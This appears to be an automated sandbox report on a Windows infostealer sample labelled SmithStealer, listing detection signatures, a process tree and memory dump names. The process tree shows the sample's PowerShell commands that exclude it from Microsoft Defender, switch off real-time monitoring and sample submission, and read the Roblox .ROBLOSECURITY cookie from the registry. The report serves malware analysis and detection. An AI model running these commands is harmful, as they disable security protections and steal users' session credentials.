Analysis
- max time kernel
149s - max time network
159s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
13/04/2026, 08:01
General
- Target c23f19586feb8a75c64efe03025cd25d3c59ac39a3b538d0e68fa429ce3084ce.exe
- Size 1.9MB
- Sample260413-jwvyjsas7x
- SHA256 c23f19586feb8a75c64efe03025cd25d3c59ac39a3b538d0e68fa429ce3084ce
Malware Config
Signatures
- Detects SmithStealer 2 IoCs
- SmithStealer
SmithStealer is a modular stealer written in C#.
- Smith_stealer family
- Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Disables one or more Microsoft Defender components 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- Disables automatic submission of suspicious files to Microsoft by Windows Defender 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.
- Drops startup file 2 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- System Location Discovery: System Language Discovery 1 TTPs 10 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
- Suspicious behavior: EnumeratesProcesses 10 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 9 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\c23f19586feb8a75c64efe03025cd25d3c59ac39a3b538d0e68fa429ce3084ce.exe"C:\Users\Admin\AppData\Local\Temp\c23f19586feb8a75c64efe03025cd25d3c59ac39a3b538d0e68fa429ce3084ce.exe"1⤵
- Drops startup file
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\c23f19586feb8a75c64efe03025cd25d3c59ac39a3b538d0e68fa429ce3084ce.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 22⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Disables automatic submission of suspicious files to Microsoft by Windows Defender
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\Wbem\wmic.exe"wmic.exe" os get Caption2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\SysWOW64\Wbem\wmic.exe"wmic" path win32_VideoController get name2⤵
- System Location Discovery: System Language Discovery
- Detects videocard installed
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
8Y0Vd.scr
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_03c0y1uo.3pq.ps1
memory/1768-57-0x0000000004E10000-0x0000000004F0E000-memory.dmp
memory/1768-54-0x0000000006210000-0x0000000006567000-memory.dmp
memory/1768-46-0x0000000002690000-0x00000000026A0000-memory.dmp
memory/2308-93-0x0000000006100000-0x00000000061FE000-memory.dmp
memory/2368-39-0x00000000087B0000-0x00000000087C5000-memory.dmp
memory/2368-9-0x0000000006C70000-0x0000000006CD6000-memory.dmp
memory/2368-18-0x0000000007210000-0x000000000722E000-memory.dmp
memory/2368-19-0x0000000007250000-0x000000000729C000-memory.dmp
memory/2368-20-0x000000007EEA0000-0x000000007EEB0000-memory.dmp
memory/2368-21-0x0000000007800000-0x0000000007834000-memory.dmp
memory/2368-22-0x000000006FF90000-0x000000006FFDC000-memory.dmp
memory/2368-31-0x00000000033E0000-0x00000000033F0000-memory.dmp
memory/2368-29-0x00000000033E0000-0x00000000033F0000-memory.dmp
memory/2368-30-0x0000000008420000-0x000000000843E000-memory.dmp
memory/2368-32-0x0000000008440000-0x00000000084E4000-memory.dmp
memory/2368-33-0x0000000008BA0000-0x000000000921A000-memory.dmp
memory/2368-34-0x0000000008560000-0x000000000857A000-memory.dmp
memory/2368-35-0x00000000085E0000-0x00000000085EA000-memory.dmp
memory/2368-36-0x00000000087F0000-0x0000000008886000-memory.dmp
memory/2368-37-0x0000000008770000-0x0000000008781000-memory.dmp
memory/2368-38-0x00000000087A0000-0x00000000087AE000-memory.dmp
memory/2368-4-0x00000000033E0000-0x00000000033F0000-memory.dmp
memory/2368-40-0x00000000088B0000-0x00000000088CA000-memory.dmp
memory/2368-41-0x00000000088A0000-0x00000000088A8000-memory.dmp
memory/2368-44-0x0000000005AA0000-0x0000000005B9E000-memory.dmp
memory/2368-10-0x0000000006CE0000-0x0000000006D46000-memory.dmp
memory/2368-5-0x0000000003180000-0x00000000031B6000-memory.dmp
memory/2368-17-0x0000000006D50000-0x00000000070A7000-memory.dmp
memory/2368-8-0x0000000005C80000-0x0000000005CA2000-memory.dmp
memory/2368-7-0x0000000005DC0000-0x00000000063EA000-memory.dmp
memory/2368-6-0x00000000033E0000-0x00000000033F0000-memory.dmp
memory/2996-103-0x0000000005F60000-0x00000000062B7000-memory.dmp
memory/2996-113-0x00000000053E0000-0x00000000054DE000-memory.dmp
memory/2996-111-0x00000000065D0000-0x000000000661C000-memory.dmp
memory/4908-2-0x0000000005B30000-0x00000000060D6000-memory.dmp
memory/4908-98-0x00000000091B0000-0x00000000091C2000-memory.dmp
memory/4908-117-0x00000000071F0000-0x000000000762B000-memory.dmp
memory/4908-116-0x0000000006C50000-0x0000000006D4E000-memory.dmp
memory/4908-63-0x0000000007040000-0x0000000007090000-memory.dmp
memory/4908-0-0x0000000000800000-0x00000000009F8000-memory.dmp
memory/4908-3-0x0000000005430000-0x0000000005440000-memory.dmp
memory/4908-62-0x0000000006F70000-0x0000000006FE6000-memory.dmp
memory/4908-97-0x0000000007790000-0x000000000779A000-memory.dmp
memory/4908-47-0x0000000005430000-0x0000000005440000-memory.dmp
memory/4908-101-0x0000000006C50000-0x0000000006D4E000-memory.dmp
memory/4908-102-0x00000000071F0000-0x000000000762B000-memory.dmp
memory/4908-64-0x00000000071C0000-0x00000000071DE000-memory.dmp
memory/4908-1-0x00000000054E0000-0x0000000005572000-memory.dmp
memory/5492-79-0x0000000006570000-0x00000000068C7000-memory.dmp
memory/5492-84-0x0000000005220000-0x000000000531E000-memory.dmp
memory/5492-82-0x0000000006F00000-0x0000000006F22000-memory.dmp
memory/5492-81-0x0000000006FB0000-0x0000000006FFC000-memory.dmp